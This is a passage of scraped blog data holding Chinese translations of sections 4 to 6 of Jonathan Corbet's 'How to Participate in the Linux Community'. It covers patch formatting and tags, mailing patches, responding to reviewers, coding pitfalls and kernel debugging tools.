人们可能很想通过一系列的补丁来为内核增加一个完整的新基础设施，但直到这个系列的最后一个补丁生效，这个新设施才好用。这种想法应该尽可能的避免；如果这一系列补丁新增了regression，折半问题查找方法会把最后一个补丁视为导致问题罪魁祸首，即使真正的bug发生在别处。所以无论何时，添加了新代码的补丁都应该使得那些代码立即可用。\n创建一个完美补丁的工作可能是一个令人沮丧的过程，这个过程将在\u0026quot;真正的编码工作\u0026quot;完成之后花费大量的时间和思考。但一旦正确地完成，你会感觉这个时间花费是值得的。\n5.4、补丁格式化\n现在，你已经有了一系列准备发布的完美补丁，但工作还远没有完成。每个补丁都需要被格式化为一条消息，这条消息可以快速清晰地将补丁的目的阐述给其他人。因而，每个补丁将由下面几个部分组成：\n* 一个可选的\u0026quot;From\u0026quot;行，用于指出补丁作者的名字。这一行只是在你通过mail对别人的补丁进行评论时才是必要的，并且在有疑问时加上这一行没有什么坏处。\n* 一行关于补丁做什么的描述。这行消息应该足以让一个读者在无需其他上下文信息提示的情况下确定这个补丁的范围；它就是将记录在简易格式的变更日志(changelog)中的那一行。这个消息的格式通常是以相关子系统的名字开头，后面跟随着这个补丁的目的。例如：\ngpio: fix build on CONFIG_GPIO_SYSFS=n\n* 在补丁内容的详细描述之后跟随一个空行。补丁内容描述的长度可以根据需要而定；这份描述应该说明补丁做了哪些事情以及为何该补丁应该被应用于内核。\n* 一个或多个标签(tag)行，至少应该有一个来自补丁作者的signed-off-by:行。接下来会有对标签(tags)的更为详细的说明。\n上面的三项通常应该是提交补丁代码到版本控制系统时所使用的文本。后面跟着：\n* 补丁本身，使用统一标准的(\u0026quot;-u\u0026quot;)补丁格式。结合\u0026quot;-p\u0026quot;选项使用diff会将函数名字与改变相关联，结果可以使得补丁更易于被其他人阅读。\n你应该避免在补丁中包含无关文件(比如那些由编译过程产生的文件或编辑器备份文件)的改变。Documentation目录下\u0026quot;dontdiff\u0026quot;在这方面可以提供帮助；在执行diff命令时使用\u0026quot;-X\u0026quot;选项。\n上面提到的标签(tag)用于描述不同开发者是如何与此补丁的开发相关联的。在SubmittingPatches文档中有关于这方面的详细说明；下面是一个简要的总结。每行的格式是这样的：\ntag: Full Name optional-other-stuff\n常用的标签如下：\n* Signed-off-by: 这是一个开发者有权提交可以被内核合并的补丁的证明。表示同意\u0026quot;Developer\u0026rsquo;s Certificate of Origin\u0026quot;协议，该协议的全部文本内容可以在Documentation/SubmittingPatches中找到。没有正确signoff的代码将无法合并到内核主线中去。\n* Acked-by: 表明另外一名开发者(通常是相关代码的维护者)认可该补丁适合合并到内核中。\n* Tested-by: 说明这个人已经测试过这个补丁并发现它可以工作。\n* Reviewed-by: 这个签名的开发者已经对这个补丁的正确性进行了评审；在Documentation/SubmittingPatches中有关于\u0026quot;Reviewer\u0026rsquo;s statement(评审者的声明)\u0026ldquo;的详尽描述。\n* Reported-by: 说明了这个补丁所修正的问题是哪个用户提出的；这个标签用于赞扬那些对内核代码进行测试并让大家知道什么时候内核无法正确工作的人(常常是未得到正确评价的)。\n* Cc: 列出哪些人会接收到一份补丁的拷贝并有机会对补丁进行评判。\n在向你的补丁中添加标签时要小心：只有Cc:标签适合在没有得到指定名字的人的显式许可下添加。\n5.5、发送补丁\n在通过mail发送你的补丁之前，还有其他几个事情需要你小心处理：\n* 确认你的邮件发送程序不会破坏这个补丁？那些被邮件客户端工具无缘无故进行空白转换或换行的补丁将无法在另一端适用，并且常常无法被详细地检查。如果在这方面有任何疑问，可以先将补丁邮寄给你自己并确认补丁可以原封不动地展现。\nDocumentation/email-clients.txt中有一些关于如何使特定的邮件客户端程序适合发送补丁的提示。\n* 确认你的补丁中已经没有愚蠢的错误了吗？你应该一直使用scripts/checkpatch.pl检查你的补丁并处理这个脚本提出的各种抱怨。不过请记住，虽然checkpatch.pl是对内核补丁应有的形式进行了大量思考后的体现，但它并不比你更聪明。如果为了修复一个checkpatch.pl的抱怨而使得代码变得更加糟糕，那就不要这么做。\n补丁应该总是以普通文本形式发送。请不要以附件形式发送补丁；那样将会让评审者在回复中引用补丁部分内容时更加困难。直接将补丁放入邮件消息中即可。\n在邮件发送补丁时，给那些可能对该补丁感兴趣的人发送一份补丁拷贝是很重要的。与其他一些项目不同，Linux内核项目鼓励大家在发送过多补丁拷贝方面犯错；千万不要假设相关人员会在邮件列表上看到你发布的补丁。尤其是，补丁拷贝应该发送给：\n* 受影响的子系统(s)的维护者(们)。前面曾经提到过，MAINTAINTERS文件是寻找这些维护者们的起点。\n* 其他曾工作在相同领域的开发者–尤其是那些可能正在此领域工作的人。使用git查看哪些人曾经修改过你正在修改的文件，这样做可能会很有帮助。\n* 如果你的补丁应对的是一个bug报告或一个特性请求，也发送一份补丁拷贝给原始问题或请求发起者。\n* 发送一份补丁拷贝到相关的邮件列表，如果找不到此类列表，那就发送到linux-kernel邮件列表。\n* 如果修复了一个bug，考虑一下该修复是否应该进入到下一个内核稳定版的更新版本中。如果应该进入，你应该给stable@kernel.org发送一份补丁的拷贝。同时也要在补丁内部标签中加入一条：\u0026ldquo;Cc: stable@kernel.org\u0026rdquo;；这将使得内核稳定版维护小组在你的修复进入主线时收到一个通知。\n当为一个补丁选择接收者时，最好对谁将最终接受并合并你的补丁做到心中有数。虽然将补丁直接发给Linus Torvalds并让他合并你的补丁是可能的，但事情通常不是这样做的。Linus非常忙，而且有各个子系统的维护者负责监视内核的某个特定部分。通常你将会让那个维护者合并你的补丁。如果没有专门的维护者，Andrew Morton常常作为补丁的最后依赖目标。\n补丁需要一个好的标题行。补丁标题行的标准格式类似：\n[PATCH nn/mm] subsys: one-line description of the patch\n这里\u0026quot;nn\u0026quot;是补丁的序号，\u0026ldquo;mm\u0026quot;是这个补丁序列的补丁总数，\u0026ldquo;subsys\u0026quot;是补丁所影响的子系统的名字。很显然，对于一个单一独立的补丁来说，nn/mm可以被省略的。\n如果你有一个重要的补丁序列要提交，通常应该先发送一个介绍性的描述作为第零部分。但这个约定并不是被普遍遵循的；如果你使用这种方式，记住介绍部分的信息不会进入到内核的变更日志(changelog)中。因此要保证补丁自身包含完整的变更日志(changelog)信息。\n通常，一个由多部分组成的补丁的第二以及接下来的部分应该以第一部分的答复(reply)的形式发送，这样他们在接收端才能组合在一起。像git和quilt这样的工具支持群发一批具有适当线索的补丁的命令。但是，如果你的补丁序列很长，且使用git，请使用–no-chain-reply-to命令行选项以避免创建过深的嵌套。\n","permalink":"https://tonybai.com/2012/04/05/how-to-participate-linux-community-section-5/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。 下面是该文章第五章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(5)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。 下面是该文章第六章节的中译文。\n6、将补丁工作进行到底\n此时此刻，你已经遵循了这里到目前为止给出的所有指导原则，并且由于你自己的工程技能，你已经发布一系列完美的补丁。但即使是经验丰富的内核开发者也可能 会犯的一个最大的错误是断定他们的工作已经结束。事实上，发布补丁象征着你的工作已经过渡到了开发过程下一个阶段，很可能还有相当多的工作需要去完成。\n很少有补丁可以好到在第一次发布后就没有改进余地了。内核开发过程深知这一事实，并且因此重点关注已发布代码的改进。内核开发社区期望作为补丁代码作者的 你能够与社区一起工作来保证你的代码可以达到内核的质量标准。如果未能很好地参与到这个过程中将很可能导致你的补丁无法进入到内核主线。\n6.1、与评审者一起工作\n任何一个有意义的补丁都会引来一些评论，这些评论是其他开发者对你的补丁进行代码评审时得出的。对于许多开发者来说，与评审者一起工作可能是整个内核开发过程中最令人胆颤心惊的环节了。但如果你记住一些事情，你的工作可能会变得轻松许多：\n* 如果你对补丁进行了很好地解释，评审者就会理解它的价值以及为何你在创建补丁时遇到了困难。但这些都无法阻止评审者提出一个基础问题：五年或十年后，维护 一个合并了这份代码的内核将会是一个什么样子？你可能被要求进行许多改变–从代码风格改进到大量的代码重写–这些改变都基于这样的一种共识：从现在起 的十年间，Linux将仍然活着并依旧在开发中。\n* 代码评审是一个困难的工作，并且是一个相对费力不讨好的工作；人们会记住谁编写了内核代码，但那些评审代码的人却很少有持久的名声。因此，评审可能会变得 脾气暴躁，特别是当他们看到同一个错误被一再地犯的时候。如果你收到一个看似生气、出言不逊或完全无礼的评审意见，那么要抑制住你本能地回复的冲动。代码 评审只是针对代码，而不是针对人，并且代码评审者从其个人角度来说并非是要攻击你。\n* 同样，代码评审者不会为了推广他们雇主的方案而故意中伤你的方案。内核开发者常常期望能从现在起在内核上工作很多年，但他们深知他们的雇主可能会变化。他们工作的真实目的毫无疑问是为了创造一个他们所能创造的最好的内核；他们不会设法给雇主的竞争对手制造不适。\n所有这一切归结起来就是，当评审者发送评论给你时，你需要关注这些技术意见。不要让他们的表达方式或你的傲慢阻碍这个过程的发生。当你收到针对你的补丁的 评审意见时，花些时间去理解评审者所表达的意思。如果可能的话，修正那些评审者请求你修正的问题。并且回应评审者：对他们的评审表示感谢，并且说明你将如 何回答他们的问题。\n请注意，你无需同意每个评审者建议的改变。如果你认为评审者误解了你的代码，那么解释你的代码的真实意图给评审者。如果你对某个建议的改变存在技术上的异 议的话，解释你的异议并证明你的问题解决方案。如果你的解释有道理，评审者会接受它们的。但如果你的解释被证明没有说服力，特别是如果其他开发者开始认同 那个评审者的意见时，花些时间重新考虑一下吧。你很容易被你自己的问题解决方案所蒙蔽，甚至你可能没有意识到一些事情从根本上就是错误的，或者也许你根本 没有解决那个问题。\n一个致命的错误是忽略那些评审意见并期望他们能消失。他们不会消失。如果你重新发布的代码没有处理之前收到的评审意见，你很可能会发现你的补丁将无处可去。\n谈到重新发布代码：请记住评审者是不会记住你上一轮发布的代码的所有细节的。因此一个好的方法是提醒评审者之前提出的问题以及你是如何处理这些问题的；补 丁的变更日志(changelog)是一个用来记录这类信息的很好的地方。评审者不应该非得通过搜索邮件列表的归档才能重新了解到他们上一次所提出的意 见；如果你一开始就帮助他们重新了解上次的问题，那么在他们重新评审你的代码时将会有一个更为好的心情。\n如果你已经努力尝试做对每件事，但事情依旧无法进行下去怎么办？大多数技术上的异议都可以通过交流讨论解决，但有时候，有人不得不作出决定。如果你的确认 为这个决定不应该由你来作出，那么你总是可以尝试向更高一级的开发者寻求帮助。对于本文来说，更高一级的人可能是Andrew Morton。Andrew在内核开发社区十分受尊敬；他常常可以将那些看上去堵塞地毫无希望的情况疏通开来。要记住，他当然也可能不同意你的看法。\n6.2、接下来会发生什么\n如果一个补丁加入到内核被认为是件好事，且一旦大多数评审意见都已经被解决掉了，接下来的一步通常是进入一个子系统维护者的源码树中。加入的方式因不同子 系统而异；每个维护者都有其自己的工作方式。尤其是，可能有不止一个源码树–可能一个专用于为下一个合并窗口的准备的补丁，另一个用与更长期的工作。\n对于那些没有适用的子系统源码树(例如内存管理补丁)的补丁来说，默认的源码树常常最终是-mm树。那些对多个子系统有影响的补丁也可能最终提交到-mm树中。\n合入子系统源码树后的补丁将会拥有一个更高级别的可见性。现在工作在那颗源码树上的其他开发者将会默认得到这个补丁。子系统树通常也为-mm和 linux-next两个源码树提供补丁，这将使补丁的内容对整个开发社区可见。此时，你很有很可能从一批新的评审者那里获得更多的评审问题；你需要答复 这些问题，就像之前的那轮一样。\n此时还有可能发生的是与其他开发者所完成的工作的冲突，这取决于你的补丁的性质。最坏的情况下，严重的冲突可能导致一些工作被放在次要的位置，而剩下的补 丁可能最终成型并被合并到内核中。其他时间，冲突解决将涉及到与其他开发者一起工作并且可能涉及在源码树间移动补丁以保证所有事情都能按规则地应用。这种 工作很可能是一种痛苦，但你应该知足了：在linux-next树出现之前，这些冲突往往只是在合并窗口打开期间出现，你必须尽快处理掉这些冲突。而现 在，在合并窗口打开之前开发者可以从容不迫地解决这些冲突。\n某天，如果一切顺利，你登录主机并且会看到你的补丁已经被合并到内核主线了。恭喜恭喜！但是，一旦庆祝结束(并且你已经将你自己加入到MAINTAINERS文件)，记住一个重要的事实是值得的，那就是：工作依旧没有结束。合并到内核主线将带来其自己的挑战。\n首先，你的补丁的可见性已经再一次增加了。你可能会收到新的一轮评审意见，这些意见来自于那些之前不曾知道你的补丁的开发者们。你很可能忽略这些意见，因 为已经没有关于代码合并的问题了。但抵制住这种诱惑；对于那些提出问题或建议的开发者来说，你仍然需要保持处于积极相应的状态。\n但更为重要的是：合并到内核主线后你的代码将被更多的测试人员获得。即使你贡献的是一个尚不可用的硬件的驱动程序，你会惊讶于有这么多人将你的代码构建到他们的内核当中。并且当然，哪里有测试人员，哪里就会有bug报告产生。\n最坏的bug报告类型是regression。如果你的补丁导致了一个regression，你就会发现有许多双令人不舒服的眼睛在注视着 你；regression需要被尽早修复。如果你不情愿或没有能力修复这个regression(并且没有人为你做这件事)，那么在内核稳定期，你的补丁 几乎可以肯定会被移除。因无法修复regression而导致补丁被从内核拉出(pull)，除了否定了之前你为补丁进入主线而做的所有工作之外，还很可 能大大增加你的后续工作被合并的难度。\n在处理完若干regressions之后，可能还有另外一些普通bug需要处理。内核稳定期是修正这些bug以及确保你首次出现在某内核主线版本的代码尽 可能的稳定可靠的最好时机。因此，请回答bug报告，并尽可能地修正问题。内核稳定期就是为此而设立的；一旦旧补丁中所有问题都被处理完毕，你就能够开始 创建一些绝妙的新补丁了。\n不要忘了其他里程碑也可能创建bug报告：下一个主线稳定版发布、当一些重要的发行版生产商得到了包含你的补丁的内核版本等等。继续响应这些报告事关你在 工作中的自豪感。然而，如果感到动力不足，这点也是值得考虑一下的：开发社区会记住那些在合并代码后对他们自己的代码失去兴趣的开发者。下次你再发布一个 补丁，他们会在你过后不会继续维护它的假定下对该补丁进行评估。\n6.3、其他可能发生的事情\n有一天，你会打开你的邮件客户端程序并看到某人给你邮寄了一份针对你的代码的补丁。归根结底，这是将你的代码公开发布的好处之一。如果你认同这个补丁，你 可以将它转发给子系统维护者(确认包含一个恰当的From:行以保证其归属是正确的，并且增加一个你自己的signoff)，或以一个Acked-by: 回应并让原始发布者发送给上面的维护者。\n如果你不认同这个补丁，那么发送一个礼貌的回应并解释你不认同的原因。如果可能的话，告诉作者需要做哪些改动你才会接受该补丁。对于那些被代码作者和维护 者抵制的补丁来说，合并是有一定阻力的，不过也就仅此而已。如果你对某杰出的工作的阻止被认为是没有必要的，那么那些补丁最终还是会绕过你并进入主线。在 Linux内核中，没有人拥有代码的绝对否决权，也许除了Linus。\n在极少的情况下，你可能会看到完全不同的情况：另外一个开发者针对你的问题发布了一个不同的解决方法。那一刻，两个补丁中的一个将无法被合并，并且\u0026quot;我的 是第一个\u0026quot;不被认为是一个令人信服的技术参数。如果某个其他人的补丁代替了你的并进入到了主线，那真的只有一种回应的方式了：为你的问题被解决掉而高兴并 继续你的工作。将某人的工作以这种方式丢在一边可能是伤人感情和令人泄气的，但是在忘记了谁的补丁被真正合并了之后，开发社区会记住你的回应。\n","permalink":"https://tonybai.com/2012/04/05/how-to-participate-linux-community-section-6/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。 下面是该文章第六章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(6)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。 下面是该文章第四章节的中译文。\n4、正确地编写代码\n关于那个可靠的面向社区的设计过程我们已经说的够多了，任何内核开发项目的证据都是最终的代码。被其他开发者检查的是代码，被(或没有被)合并到主线树的也是代码。因此是代码质量决定了内核开发项目最终的成功。\n这一节我们会对内核编码过程进行剖析。我们会首先看看内核开发者可能会出错的几个方面；接下来我们会将关注点转向如何正确地做事以及一些可以在此过程中帮助到我们的工具。\n4.1、陷阱\n* 编码风格\n内核早已拥有了一套标准的编码风格，在Documentation/CodingStyle文件中有关于编码风格的说明。但长久以来，这个文档中所描述的风格策略充其量被视为是建议性的。因此内核中有大量的代码并不符合编码风格准则的要求。这类代码的存在给内核开发者设下了两个陷阱。\n第一个陷阱是相信内核编码标准无关紧要并且不是强制性的。而这事儿的真实情况是如果代码没有按照标准编写，新代码将很难被添加到内核中去；许多开发者会要求代码应该在评审之前被重新格式化。像内核这么大规模的代码库需要一种格式一致的代码，这样才能保证开发人员可以快速地理解代码库中的任何一部分。因此这里没有给奇怪格式代码生存的空间。\n有时，内核编码风格会与某个雇佣者要求的风格相冲突。这种情况下，在代码可以被合并到内核之前，内核编码风格将取得胜利。将代码放入内核意味着你将在多个方面放弃一些对代码的控制，这其中就包括对代码风格的控制。\n另外一个陷阱是假定那些已经存在于内核中代码急需修复代码风格。开发者在开始阶段很可能会将创建修复代码风格的补丁作为一种熟悉开发过程的手段，或作为一种将自己的名字写进内核Changelog文件的手段，或者二者兼具。但纯粹的代码风格修复补丁会被开发社区视为噪音；并很可能会被冷眼对待。因此最好杜绝这类补丁。比较自然合理的做法是在因其他原因修改某段代码时顺便修复其代码风格，不要为了自身的考虑而去修改代码风格。\n这个代码风格文档也不应该被当成绝对不能违背的准则。如果你有违反这一风格的好理由(例如，某一行如果按照80列的限制做拆分，可读性就会变得很差)，那就按照你的想法去做吧。\n* 抽象层\n计算机科学教授教育学生应广泛使用抽象层以实现系统的灵活性和信息隐藏。当然内核也广泛使用了抽象；如果不这样的话，没有哪个具有百万行代码的项目可以实现并存活下来。但经验证明过度或过早抽象可能同过早优化一样是有害的。抽象应该被用在需要的层次上并且不要再深入了。\n在一个简单的层次上，考虑这样一个只有一个参数的函数，调用者在调用该函数时参数总是传0。只是在有人最终需要使用这个函数提供的额外的灵活性时人们才会记起那个参数。但是到了那时，很可能实现了这个额外参数的代码已经被一种未被察觉的微妙方式改变了– 因为它从未被使用过。或者，当对这个额外灵活性的需求增多时，它的行为已经不再是开发者早先期望的那样的了。核心开发者将会按惯例提交补丁删除无用的参数；通常来讲，这些参数从一开始就不应该加上。\n那些隐藏了对硬件访问的抽象层尤其不被赞成使用，因为这些抽象层常常允许一个驱动程序的主要部分被多个操作系统使用。这些抽象层使代码更加难以理解并且很可能引入性能问题；他们不应该被归入Linux内核范畴。\n另一方面，如果你发现自己正在从另一个内核子系统拷贝大量重要代码，那么是时候问问你自己将一些代码抽出放入单独的库或在更高层次上实现那个功能是不是更有意义。在内核内部复制相同的代码没有价值。\n* #ifdef以及预处理器的一般使用\nC预处理器对一些C程序员来说是一种强大的诱惑，这些C程序员将预处理器看作是一种在源文件中嵌入灵活性的手段。但是预处理器不是C语言，过度地使用预处理器将导致代码可读性大大降低，同时也使得编译器进行正确性检查的难度大大增加了。过度使用预处理器通常是一种信号，预示着代码需要一些整理了。\n采用#ifdef的条件编译确实是一种强大的特性，并且它已经被用于内核代码中。但我们仍然不希望看到那些不受限制地使用#ifdef代码块的代码。一般来说，#ifdef应该尽可能地被限制在头文件中使用。条件编译代码可用于那些尚未实现完毕的函数，使之变为空函数。编译器接下来会在优化过程去掉对这些空函数的调用。结果我们将得到更加简洁和易理解的代码。\nC预处理器宏会带来一些危害，包括可能带有副作用的多次表达式求值以及类型不安全。如果你总想定义一个宏，不妨考虑创建一个内联函数替代这个宏，两者的执行结果是相同的，但内联函数可读性更好，也不会多次对其参数进行求值，并且支持编译器对参数以及返回值进行的类型检查。\n* 内联函数\n不过内联函数也有他的一个危害之处。程序员们可能会迷恋于因省略函数调用而带来的效率提升，并在源文件中到处使用内联函数。然而那些函数实际上可能降低系统性能。由于在每个调用处这些函数的代码都会被复制一份，最终会导致编译后的内核尺寸膨胀。相应地，这会给处理器的内存缓存带来压力，并可能显著降低执行性能。通常，内联函数应该非常小并且相对较少。毕竟函数调用的消耗并不是那么大；大量创建内联函数是过早优化的一个典型例子。\n一般来说，内核程序员忽略缓存效果是冒着风险的。在数据结构课程上学到经典的时空开销转换并不适用于当代的硬件。空间即是时间，因为尺寸更大的程序与更加紧凑的程序运行的要更慢。\n* 锁\n2006年5月，Devicescape网络协议栈在GPL的授权下大张旗鼓地发布了，并且等待着被主线内核合并。这次捐赠受到了社区的极大欢迎；因为当时Linux对无线网络的支持被认为是不符合标准的，而Devicescape协议栈则许诺修复这一问题。但直到2007年6月份(2.6.22)，这份代码也没有被真正合并到内核主线中。究竟发生了什么呢？\n这份代码显现出诸多闭门造车的迹象。然而一个更为严重的问题是它不是针对多处理器系统设计的。在这份网络协议栈(现在叫作mac80211)能够被合入主线之前，社区需要一个锁方案来重新对该代码进行改造。\n曾几何时，Linux内核代码的开发可以无需考虑多处理器系统的并发问题。不多，现在，就连这篇文章也是在一个双核处理器笔记本上编写的。即使在单处理器系统上，那些为了改善响应速度的工作也会提升并发在内核内部的级别。那些无需考虑锁的内核编码的日子已经一去不复返了。\n任何可被不止一个线程并发访问的资源(数据结构、硬件寄存器等)都必须用锁保护起来。开发新代码时应牢记这一要求；即成事实后再进行锁改造将会是一个特别困难的任务。内核开发者应该花时间去好好地了解一下已经存在的锁原语以足够自己为开发任务挑选一个合适的工具。那些缺少对并发关注的代码在通往内核主线的道路上会走得更加艰难。\n*Regressions(退步)\n最后一个值得一提的危害是：作出一些给现有用户带来破坏的改变(可能带来较大的改进)。这类改变被称作\u0026quot;regression(退步)\u0026quot;，内核主线最厌恶regression。如果regression不能在短时间内修复，那些导致regression的改变将极少例外地被清退出内核。最好从一开始就避免regression。\n如果因某个regression所带来的改变而受益的人比因其受害的人更多，这个regression是否可能被合法化呢？这里常常引发社区的争论。为什么不可以做出这样一个改变呢：它能给10个系统带来新功能，但只破坏其中一个系统？对于这个问题，Linus在2007年7月给出的最佳答案：\n所以，我们不能通过引入新问题的方式来修复bug。那种方式很愚蠢，根本没有人知道你实际上是否带来的真正的进步？是前进两步，后退一步，还是前进一步后退两步呢？(http://lwn.net/Articles/243460/).\n一个尤其让人生厌的regression是那种对用户空间ABI(译注：Application Binary Interface，应用程序二进制接口)的改变。一旦一个接口被导出到用户空间，它就必须被无限期地支持。这种情况让创建用户空间接口变得尤其具有挑战性：因为它们不能被以一种不兼容的方式改变，它们必须在一开始时就被正确地创建。为此，用户空间接口总是需要大量的考量、清晰的文档以及大范围的评审。\n4.2、代码检查工具\n至少在目前，编写无错代码仍旧是一个几乎无人可及的理想。然而，我们可以期望的是，在代码进入内核主线之前，尽可能多的捕捉和修复bug。为达到此目的，内核开发者们设计和实现了一系列工具，这些工具可以自动地捕捉到各种隐蔽的问题。被计算机捕捉到的问题后续将不会折磨用户，因此，顺理成章，我们应该尽可能多地使用这些自动化工具。\n第一步就是留心编译器给出的警告。当前版本的gcc可以检测出(并针对…警告)大量潜在的错误。这些警告常常意味着真实的问题。一般来说，提交评审的代码应该不会再产生任何编译器警告了。当关闭警告时，注意务必理解警告的真实原因并且避免进行那种只去除警告但未真正解决问题的\u0026quot;修复\u0026quot;。\n注意不是所有编译器警告是默认打开的。使用\u0026quot;make EXTRA_CFLAGS=-W\u0026quot;来编译内核以获得所有警告设置。\n内核提供了多个用于打开调试特性的配置选项；其中大多数选项可以在\u0026quot;kernel hacking\u0026quot;子菜单中找到。对于那些用于开发或测试目的的内核来说，多数此类选项都应该被打开。尤其是，你应该打开：\n* ENABLE_WARN_DEPRECATED、 ENABLE_MUST_CHECK和FRAME_WARN。打开这几个选项可以获得一些额外的警告设置，这些设置针对的问题诸如使用了不赞成使用的接口或忽略了一个重要的函数返回值等。这些警告的输出可能比较冗长罗嗦，但其他内核部分的警告不会如此，你大可不必担心。\n* DEBUG_OBJECTS会增加代码来跟踪内核创建的各种对象的生存期，并且在对象出现故障时给出警告。如果你添加了一个子系统，该子系统创建(或导出)了属于自己的复杂对象，请考虑为该子系统加上对对象调试基础设施的支持。\n* DEBUG_SLAB可以查找到大量关于内存分配以及使用的错误；它应该在大多数开发专用的内核上使用。\n* DEBUG_SPINLOCK、DEBUG_SPINLOCK_SLEEP和DEBUG_MUTEXES可以找到很多常见的锁错误。\n内核中还有很多其他调试选项，其中一些将在下面讨论。有些调试选项将对内核性能产生显著的影响，不应该被一直使用。不过，花些时间了解已有的调试选项很可能会在短时间后给你带来几倍的回报。\n一个重量级的调试工具就是锁检查器，或叫做\u0026quot;lockdep\u0026quot;。这个工具可以跟踪系统中每把锁(自旋锁或互斥锁)的加锁和解锁操作、相对于彼此的加锁顺序、当前的中断环境以及更多其他内容。它还能保证始终以相同的顺序进行加锁，保证对所有情况应用相同的中断假设等等。换句话说，lockdep可以找出许多系统可能偶尔死锁的场景。在一个已经部署的系统上，这类问题是很让人头疼的(对开发者和用户都)；lockdep支持以一种自动的方式提前发现这类问题。任何重要的代码在提交合入前都应该在lockdep工具的监控下运行。\n作为一名勤奋的内核程序员，你将毫无疑问地检查任何可能失败的操作(诸如内存分配)的返回状态。然而，事情的真实情况是，因此进行的失败恢复的路径很可能根本没有经过测试。未测试的代码极可能是有问题的代码；如果所有失败处理路径被执行过多次，你才可能会对你的代码更加有信心。\n内核提供了一个故障注入的框架，它可以制造故障，特别是涉及内存分配的地方。在开启故障注入的情况下，内存分配可以按照配置的比例执行失败；这些失败可以被限制在一个特定的代码范围中。在故障注入框架开启的前提下运行可以让程序员们看到代码在出现错误的情况下是如何作出反应的。更多关于如何使用这个工具方面的内容可参见Documentation/fault-injection/fault-injection.txt。\n其他类错误可以通过\u0026quot;sparse\u0026quot;静态分析工具查找到。使用sparse，程序员在混淆用户空间与内核空间地址，混用大端法和小端法表示的数量值以及传递对一组特定位标志有要求的整型值时会收到警告。sparse必须单独安装(如果你用的发行版不包含sparse的话，你可以在http://www.kernel.org/pub/software/devel/sparse/下面找到它)；当你执行的make命令包含\u0026quot;C=1\u0026quot;时，sparse会被执行。\n其他有关可移植性类别的错误最好在代码进行针对其他体系的编译时发现，如果手头没有S/390系统或Blackfin开发板的话，你仍然能够执行这个编译步骤。一套适合x86系统的跨平台编译器可以在下面页面中找到：\nhttp://www.kernel.org/pub/tools/crosstool/\n花些时间安装和使用这些编译器可以帮助你避免日后难堪。\n4.3、文档\n文档常常不仅仅是内核开发规则的例外。即使这样，充足的文档会有助于你的新代码合并入内核，有助于其他开发人员理解你的代码并且也会对你的用户带来帮助。在很多情况下，增加文档已经变成了必不可少的强制要求了。\n任何补丁的文档的第一部分内容应该是与之相关的变更日志(changelog)。日志记录应该描述解决了什么问题、解决方案的构成、补丁相关的人员、任何对性能产生的影响以及其他理解该补丁所需要的内容。\n任何添加了新用户空间接口–包括新的sysfs或/proc文件–的代码都应该包含一份关于那个接口的说明文档，以便用户空间程序员了解这个接口。关于这类文档应该如何进行格式化以及应该提供哪些信息，请参见Documentation/ABI/README。\nDocumentation/kernel-parameters.txt描述了内核引导阶段的所有参数。任何添加新参数的补丁都应该在该文档中添加适当的记录。\n任何新增的配置选项都必须伴随一份帮助文字，这些文字应该清楚地说明这些选项的功用以及用户何时可能会对它们进行选择。\n在多个子系统中使用的内部API信息需要以一种特定格式的注释的方式记录到文档中；这些注释可以被\u0026quot;kernel-doc\u0026quot;脚本以多种方式提取和格式化。如果你正在一个具有kerneldoc注释的子系统上进行开发，你应该视具体情况为外部可用的函数维护和添加注释。即使在尚没有文档记录的区域，为将来添加kerneldoc注释也是无害的；实际上，对于那些刚进入内核开发领域的开发者来说，这可能是一种有益的工作。关于这些注释的格式以及如何创建kerneldoc模板的说明可以参见Documentation/kernel-doc-nano-HOWTO.txt。\n读过大量现有内核代码的人常常都会注意到内核代码严重缺少注释。对新代码中注释的期望远远高于之前的代码；没有注释的代码想要合入内核会更加困难。但即便如此，那些具有冗长注释的代码想进入内核依旧是希望渺茫。代码自身应该具有良好的可读性，同时使用注释解释那些不明显、更具技巧的特性。\n某些地方应该始终使用注释。内存栅栏(memory barrier)的使用应该始终伴随一行注释，解释这里使用栅栏的必要性。数据结构的加锁规则一般需要在某处给予解释。通常主要的数据结构都需要详细的文档。小块代码间的不明显的依赖需要被指出。任何可能诱使一个代码看门人（code janitor)作出不合规矩地\u0026quot;清理\u0026quot;的地方都需要一个注释解释为何这里要这么做。等等。\n4.4、内部API变化\n除非是最为严重的情况下，内核提供给用户空间的二进制接口都不能被破坏。相反，内核内部的编程接口则是经常改变的，并且可以在有需要的情况下被改变。如果你发现自己围绕着一个内核API进行开发或只是没有使用一个特定的功能，因为该功能无法满足你的需要，这很可能是一个API需要被改变的信号。作为一个内核开发者，你有权做出这样的改变。\n当然，这里还是有一些隐患的。API可以被改变，但这种改变应该是合理的。因此任何导致一个内部API变化的补丁都应该伴随一个描述，该描述包括改变了什么以及这种改变的必要性。这类改变还应该被拆分成多个独立的补丁，而不是放在一个大补丁中。\n另外一个隐患是改变内部API的那个开发者通常还要负责修正内核树上那些因API改变而被破坏的代码。对于一个被广泛使用的函数来说，这个责任可能会意味着成百或上千处改变– 多数都可能是与其他开发者所编写的代码的冲突。不用说，这也是一个工作量庞大的工作，因此最好确认你对API改变的合理性是可靠的。\n当做出一个不兼容的API改变时，开发者应该尽快能的保证编译器可以捕捉到那些尚未更新的代码。这将有助于你在树内找到所有使用这个接口的代码。它还会警告那些树外代码的开发者有一个需要他们处理的新变化。虽然树外代码的支持不是内核开发者需要担心的事情，但我们还是不要让树外代码的开发者的开发工作变得更难。\n","permalink":"https://tonybai.com/2012/03/31/how-to-participate-linux-community-section-4/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca 